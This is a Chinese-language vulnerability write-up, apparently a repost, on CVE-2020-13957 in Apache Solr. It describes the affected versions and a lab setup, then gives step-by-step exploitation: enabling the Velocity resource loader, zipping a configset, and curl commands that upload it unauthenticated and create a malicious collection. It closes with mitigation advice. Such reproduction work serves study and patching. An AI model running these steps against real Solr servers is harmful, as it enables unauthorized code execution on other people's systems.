CVE-2020-13957:Apche Solr 未授權上傳漏洞的分析及復現
一、漏洞描述
Solr是一個獨立的企業級搜索應用服務器,它對外提供類似于Web-service的API介面,用戶可以通過http請求,向搜索引擎服務器提交一定格式的XML檔案,生成索引;也可以通過Http Get操作提出查找請求,并得到XML格式的回傳結果,
Solr 主要特性有:強大的全文檢索功能,高亮顯示檢索結果,動態集群,資料庫介面和電子檔案(Word ,PDF 等)的處理,而且Solr 具有高度的可擴展,支持分布搜索和索引的復制,
在特定的Solr版本中ConfigSet API存在未授權上傳漏洞,攻擊者利用漏洞可實作遠程代碼執行,
二、影響范圍
Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2
三、漏洞原理
上傳configset——基于configset再次上傳configset(跳過身份檢測)——利用新configset創造collection——利用solrVelocity模板進行RCE
四、環境搭建
本次實驗的是solr7.7.0版本,去官網下載
http://archive.apache.org/dist/lucene/solr/7.7.0/

下載完畢后,進行安裝

我們選擇把環境搭在kali上,打開解壓后的環境包,在bin檔案包打開終端,進入到
進入solr-7.7.0/bin目錄下,使用 ./solr start -e cloud -force啟動一個cloud示例,一路默認安裝即可,

出現如下圖所示,即安裝成功

訪問圖中的鏈接可進入如下圖的頁面

5、漏洞復現及攻擊利用
1.進入到
/solr-7.0.1/server/solr/configsets/sample_techproducts_configs /conf 目錄
2.將solrconfig.xml檔案中params.resource.loader.enabled的值設定為true(為遠程命令執行做準備)
配置前

配置后

3. 進入到conf目錄下,把conf目錄下所有檔案打包成一個壓縮檔案
執行zip -r - * > mytest.zip

- 通過上傳API將zip上傳
執行curl -X POST --header “Content-Type:application/octet-stream” --databinary@mytest.zip" http://localhost:8983/solr/admin/configs?action=UPLOAD&name=mytest"

- 根據UPLOAD的配置,創建一個 新的配置,繞過不能通過直接UPLOAD創建collection的限制,并根據CREATE得到的新configset創建惡意collection
執行
curl “http://localhost:8983/solr/admin/collections?action=CREATE&name=mytest2&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest”

- 這里可以看到已經上傳上去名為mytest2的Collection,現在就可以使用漏洞執行RCE

6、處置建議
1、如果未使用ConfigSets API,則通過將系統屬性設定為“ configset.upload.enabled”設定為“ false”來禁用UPLOAD命令,
2、使用身份驗證/授權來確保未知的請求不會被允許訪問,
3、升級到8.6.3及以上的安全版本,
4、如果不能進行升級,可以安裝 SOLR-14663公告中的應用補丁
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/225800.html
標籤:其他
